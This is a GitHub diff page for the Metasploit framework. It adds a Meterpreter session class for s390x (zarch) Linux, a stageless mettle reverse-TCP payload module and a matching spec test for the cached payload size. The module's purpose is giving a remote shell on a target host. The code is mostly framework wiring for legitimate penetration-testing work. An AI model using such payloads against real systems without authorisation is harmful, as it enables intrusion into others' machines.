File tree Expand file tree Collapse file tree 3 files changed +80
-0
lines changed
modules/payloads/singles/linux/zarch Expand file tree Collapse file tree 3 files changed +80
-0
lines changed Original file line number Diff line number Diff line change
1
+ # -*- coding: binary -*-
2
+
3
+ require 'msf/base/sessions/meterpreter'
4
+
5
+ module Msf
6
+ module Sessions
7
+
8
+ ###
9
+ #
10
+ # This class creates a platform-specific meterpreter session type
11
+ #
12
+ ###
13
+ class Meterpreter_zarch_Linux < Msf ::Sessions ::Meterpreter
14
+ def supports_ssl?
15
+ false
16
+ end
17
+ def supports_zlib?
18
+ false
19
+ end
20
+ def initialize ( rstream , opts = { } )
21
+ super
22
+ self . base_platform = 'linux'
23
+ self . base_arch = ARCH_ZARCH
24
+ end
25
+ end
26
+
27
+ end
28
+ end
29
+
Original file line number Diff line number Diff line change
1
+ ##
2
+ # This module requires Metasploit: http://metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ require 'msf/core'
7
+ require 'msf/core/handler/reverse_tcp'
8
+ require 'msf/base/sessions/meterpreter_options'
9
+ require 'msf/base/sessions/mettle_config'
10
+ require 'msf/base/sessions/meterpreter_zarch_linux'
11
+
12
+ module MetasploitModule
13
+
14
+ CachedSize = 367864
15
+
16
+ include Msf ::Payload ::Single
17
+ include Msf ::Sessions ::MeterpreterOptions
18
+ include Msf ::Sessions ::MettleConfig
19
+
20
+ def initialize ( info = { } )
21
+ super (
22
+ update_info (
23
+ info ,
24
+ 'Name' => 'Linux Meterpreter' ,
25
+ 'Description' => 'Run the mettle server payload (stageless)' ,
26
+ 'Author' => [
27
+ 'Adam Cammack <adam_cammack[at]rapid7.com>'
28
+ ] ,
29
+ 'Platform' => 'linux' ,
30
+ 'Arch' => ARCH_ZARCH ,
31
+ 'License' => MSF_LICENSE ,
32
+ 'Handler' => Msf ::Handler ::ReverseTcp ,
33
+ 'Session' => Msf ::Sessions ::Meterpreter_zarch_Linux
34
+ )
35
+ )
36
+ end
37
+
38
+ def generate
39
+ MetasploitPayloads ::Mettle . new ( 's390x-linux-musl' , generate_config ) . to_binary :exec
40
+ end
41
+ end
Original file line number Diff line number Diff line change 4524
4524
reference_name : 'linux/x86/mettle_reverse_tcp'
4525
4525
end
4526
4526
4527
+ context 'linux/zarch/mettle_reverse_tcp' do
4528
+ it_should_behave_like 'payload cached size is consistent' ,
4529
+ ancestor_reference_names : [
4530
+ 'singles/linux/zarch/mettle_reverse_tcp'
4531
+ ] ,
4532
+ dynamic_size : false ,
4533
+ modules_pathname : modules_pathname ,
4534
+ reference_name : 'linux/zarch/mettle_reverse_tcp'
4535
+ end
4536
+
4527
4537
end
You can’t perform that action at this time.
0 commit comments